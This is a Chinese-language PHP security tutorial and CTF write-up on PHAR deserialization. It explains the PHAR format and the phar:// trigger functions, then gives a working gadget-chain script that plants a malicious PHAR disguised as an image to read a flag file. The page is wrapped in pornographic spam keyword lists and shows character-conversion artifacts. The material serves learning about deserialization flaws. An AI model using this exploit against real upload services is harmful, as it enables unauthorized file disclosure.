国产成人精品久久免费动漫-国产成人精品天堂-国产成人精品区在线观看-国产成人精品日本-a级毛片无码免费真人-a级毛片毛片免费观看久潮喷

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

PHP開發(fā)技巧之PHAR反序列化詳解

瀏覽:120日期:2022-06-06 09:44:26
目錄
  • 引文
  • 前置知識(shí)
    • PHAR
    • PHAR文件結(jié)構(gòu)
    • PHAR文件生成樣例
  • 實(shí)戰(zhàn)
    • 結(jié)語(yǔ)

      引文

      之前將PHP反序列化的基礎(chǔ)知識(shí)講了一遍,不知道大家學(xué)習(xí)的怎么樣了,今天給大家?guī)?lái)PHP反序列化的進(jìn)階知識(shí):PHAR反序列化,也是之前本人在CTF比賽中經(jīng)常遇到的一種php反序列化的進(jìn)階使用吧,下面先給大家講一講PHAR反序列化的前置知識(shí)。

      前置知識(shí)

      PHAR

      在軟件中,PHAR(PHP歸檔)文件是一種打包格式,通過(guò)將許多PHP代碼文件和其他資源(例如圖像,樣式表等)捆綁到一個(gè)歸檔文件中來(lái)實(shí)現(xiàn)應(yīng)用程序和庫(kù)的分發(fā)。phar文件本質(zhì)上是一種壓縮文件,會(huì)以序列化的形式存儲(chǔ)用戶自定義的meta-data。當(dāng)受影響的文件操作函數(shù)調(diào)用phar文件時(shí),會(huì)自動(dòng)反序列化meta-data內(nèi)的內(nèi)容,這里就是我們反序列化漏洞的利用點(diǎn)。

      接下來(lái)帶大家看一下如何構(gòu)造phar文件:

      PHAR狀態(tài)是只讀的,創(chuàng)建一個(gè)的Phar文件需要允許寫入Phar文件,這需要修改一下:

      php.ini:phar.readonly = Off;  #php版本要大于等于5.2

      其中php.ini為php的配置文件。

      PHAR文件結(jié)構(gòu)

      上面簡(jiǎn)單介紹了phar的基本定義,接下來(lái)我們學(xué)習(xí)一下PHAR文件的基本結(jié)構(gòu):

      A stub

      phar文件的標(biāo)志,具體代碼為:

      xxx<?php xxx; __HALT_COMPILER();?>

      注意的是phar文件始終要以__HALT_COMPILER();?>來(lái)進(jìn)行結(jié)尾才能被識(shí)別為PHAR文件。

      A manifest describing the contents

      以序列化的形式存儲(chǔ)用戶自定義的meta-data,也是我們利用反序列化漏洞的點(diǎn)。

      The file contents

      壓縮的文件內(nèi)容。

      signature

      簽名信息,放在文件末尾。

      PHAR文件生成樣例

      了解了以上信息,我們就可以嘗試來(lái)構(gòu)建一個(gè)PHAR文件的生成,樣例代碼如下:

      <?php	class User{var $name;	}	@unlink("XINO.phar");    $phar = new Phar("XINO.phar");    $phar->startBuffering();    $phar->setStub("<?php __HALT_COMPILER(); ?>");    $o = new User();    $o->name = "XINO";    $phar->setMetadata($o);    $phar->addFromString("test.txt", "test");    $phar->stopBuffering();?>

      運(yùn)行之后結(jié)果如下:

      成功生成了名為XINO.phar的phar類型文件,我們放進(jìn)010editor查看:

      看到 meta-data 序列化的內(nèi)容成功的保存到了文件中。我們?cè)儆胮har協(xié)議去讀取就好了。這里需要注意的一點(diǎn)是:一些文件函數(shù) 通過(guò) phar:// 偽協(xié)議解析phar文件時(shí)都會(huì)將meta-data反序列化,例如:

      fileatime    filectimefilemtime    file_exists    file_get_contents    file_put_contentsfile filegroupfopenfileinode      fileowner    filepermsis_dir       is_file  is_link      is_executable  is_readable  is_writeableis_wirtble   parse_ini_file   copy unlink stat readfileinfo_file   

      實(shí)戰(zhàn)

      學(xué)完上面的內(nèi)容后,我們便可以嘗試一下實(shí)戰(zhàn)了,先看看利用條件:

      phar文件要能夠上傳到服務(wù)器端

      要有可用的魔術(shù)方法作為"跳板"

      文件操作函數(shù)的參數(shù)可控,且:、/、phar等特殊字符沒(méi)有被過(guò)濾

      下面我們來(lái)看一個(gè)例題:

      進(jìn)去是一個(gè)登陸界面,我們注冊(cè)登陸進(jìn)去,發(fā)現(xiàn)了一個(gè)文件上傳的點(diǎn)。要求得文件類型只能是gif/jpg/png的類型,需要抓包更改其Content-Type為image/jpeg或其它圖片格式的對(duì)應(yīng)字符串。抓包后會(huì)發(fā)現(xiàn)POST傳參download處存在任意文件下載:

      下載源碼:index.php,delete.php,download.php,class.php

      class.php:

      <?phperror_reporting(0);$dbaddr = "127.0.0.1";$dbuser = "root";$dbpass = "root";$dbname = "dropbox";$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);class User {    public $db;    public function __construct() {global $db;$this->db = $db;    }    public function user_exist($username) {$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->store_result();$count = $stmt->num_rows;if ($count === 0) {    return false;}return true;    }    public function add_user($username, $password) {if ($this->user_exist($username)) {    return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");$stmt->bind_param("ss", $username, $password);$stmt->execute();return true;    }    public function verify_user($username, $password) {if (!$this->user_exist($username)) {    return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->bind_result($expect);$stmt->fetch();if (isset($expect) && $expect === $password) {    return true;}return false;    }    public function __destruct() {$this->db->close();    }}class FileList {    private $files;    private $results;    private $funcs;    public function __construct($path) {$this->files = array();$this->results = array();$this->funcs = array();$filenames = scandir($path);$key = array_search(".", $filenames);unset($filenames[$key]);$key = array_search("..", $filenames);unset($filenames[$key]);foreach ($filenames as $filename) {    $file = new File();    $file->open($path . $filename);    array_push($this->files, $file);    $this->results[$file->name()] = array();}    }    public function __call($func, $args) {array_push($this->funcs, $func);foreach ($this->files as $file) {    $this->results[$file->name()][$func] = $file->$func();}    }    public function __destruct() {$table = "<div id="container"><div><table id="table">";$table .= "<thead><tr>";foreach ($this->funcs as $func) {    $table .= "<th scope="col">" . htmlentities($func) . "</th>";}$table .= "<th scope="col">Opt</th>";$table .= "</thead><tbody>";foreach ($this->results as $filename => $result) {    $table .= "<tr>";    foreach ($result as $func => $value) {$table .= "<td>" . htmlentities($value) . "</td>";    }    $table .= "<td filename="" . htmlentities($filename) . ""><a href="#" rel="external nofollow"  rel="external nofollow" >下載</a> / <a href="#" rel="external nofollow"  rel="external nofollow" >刪除</a></td>";    $table .= "</tr>";}echo $table;    }}class File {    public $filename;    public function open($filename) {$this->filename = $filename;if (file_exists($filename) && !is_dir($filename)) {    return true;} else {    return false;}    }    public function name() {return basename($this->filename);    }    public function size() {$size = filesize($this->filename);$units = array(" B", " KB", " MB", " GB", " TB");for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;return round($size, 2).$units[$i];    }    public function detele() {unlink($this->filename);    }    public function close() {return file_get_contents($this->filename);    }}?>

      delete.php

      <?php#delete.phpsession_start();if (!isset($_SESSION["login"])) {    header("Location: login.php");    die();}if (!isset($_POST["filename"])) {    die();}include "class.php";chdir($_SESSION["sandbox"]);$file = new File();$filename = (string) $_POST["filename"];if (strlen($filename) < 40 && $file->open($filename)) {    $file->detele();    Header("Content-type: application/json");    $response = array("success" => true, "error" => "");    echo json_encode($response);} else {    Header("Content-type: application/json");    $response = array("success" => false, "error" => "File not exist");    echo json_encode($response);}?>

      簡(jiǎn)單分析一下:

      創(chuàng)建一個(gè)user的對(duì)象,而且db變量是一個(gè)FileList對(duì)象,文件名為flag的路徑。這樣的話,當(dāng)user對(duì)象銷毀時(shí),db變量的close方法被執(zhí)行;而db變量沒(méi)有close方法,這樣就會(huì)觸發(fā)call魔術(shù)方法(不理解的可以去看之前的文章),于是執(zhí)行File對(duì)象的close方法。通過(guò)分析FileList類的析構(gòu)方法可以知道,close方法執(zhí)行后存在results變量里的結(jié)果會(huì)加入到table變量中被打印出來(lái),也就是flag會(huì)被打印出來(lái)($this->filename=flag文件 )。

      于是我們嘗試寫一個(gè)生成PHAR文件的腳本:

      <?phpclass User {    public $db;}class File {    public $filename;}class FileList {    private $files;    public function __construct() {$file = new File();$file->filename = "/flag.txt";$this->files = array($file);    }}$a = new User();$a->db = new FileList();$phar = new Phar("XINO.phar"); //后綴名必須為phar$phar->startBuffering();$phar->addFromString("exp.txt", "test"); //添加要壓縮的文件$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設(shè)置stub$phar->setMetadata($a); //將自定義的meta-data存入manifest//簽名自動(dòng)計(jì)算$phar->stopBuffering();?>

      生成文件后將PHAR文件改文件類型然后上傳,之后用PHAR協(xié)議去讀取就可以得到flag。

      結(jié)語(yǔ)

      今天比較詳細(xì)的講了PHAR反序列化漏洞的原理以及應(yīng)用方法,可能剛開始學(xué)不太好理解,可以根據(jù)之前PHP反序列化的思路去理解一下。有興趣的小伙伴可以自己去搭建靶機(jī)來(lái)進(jìn)行測(cè)試,喜歡的小伙伴不妨一鍵三連。

      以上就是PHP開發(fā)技巧之PHAR反序列化詳解的詳細(xì)內(nèi)容,更多關(guān)于PHP開發(fā)PHAR反序列化的資料請(qǐng)關(guān)注其它相關(guān)文章!

      標(biāo)簽: PHP
      相關(guān)文章:
      主站蜘蛛池模板: 毛片一级 | 一级无毛片 | 国产成人a福利在线观看 | 国产一级黄毛片 | 欧美精品在线免费观看 | 99re思思 | 国产亚洲一欧美一区二区三区 | 亚洲精品国自产拍在线观看 | 狠狠色丁香婷婷综合久久来 | 在线观看毛片网站 | 国产一区中文字幕在线观看 | 久久精品视频99精品视频150 | 成人免费毛片观看 | 国产精品视频九九九 | 99爱在线精品视频免费观看9 | 在线观看香蕉免费啪在线观看 | 国产成人免费网站 | 久久国产国内精品对话对白 | 亚洲视频中文字幕在线 | 欧美成人全部免费观看1314色 | 最新国产精品亚洲 | 午夜a一级毛片一.成 | 亚洲欧美日韩一级特黄在线 | 草久在线视频 | 美女被免费视频网站a国产 美女被免费网站视频软件 美女被免费网站在线软件 美女被免费网站在线视频软件 | 韩国理伦一级毛片 | 亚洲午夜网站 | 欧美.成人.综合在线 | 国产美女在线精品观看 | 国产亚洲精品久久久久久无 | 在线看片中文字幕 | 美女免费黄视频 | 国产黄色片在线免费观看 | 亚洲国产一区在线精选 | 欧美日韩不卡一区 | 亚洲精品国产经典一区二区 | 国产一级毛片亚洲久留木玲 | 国产三级a三级三级午夜 | 私人午夜影院 | 国产精品久久久久久久久免费观看 | 成人免费福利网站在线看 |